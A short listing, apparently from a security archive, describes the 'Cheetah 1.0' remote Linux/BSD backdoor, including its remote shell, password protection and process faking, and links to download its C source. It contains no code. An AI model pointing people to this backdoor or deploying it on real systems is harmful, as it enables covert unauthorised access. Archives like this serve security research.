Cheetah version 1.0 is a remote Linux/BSD backdoor that offer low CPU usage, Port/Backlog selection, a remote shell, user/password protection, and process faking.
You can download it from the following link: https://packetstormsecurity.com/files/download/34149/cheetah.c
Source: https://packetstormsecurity.com/files/34149/cheetah.c.html

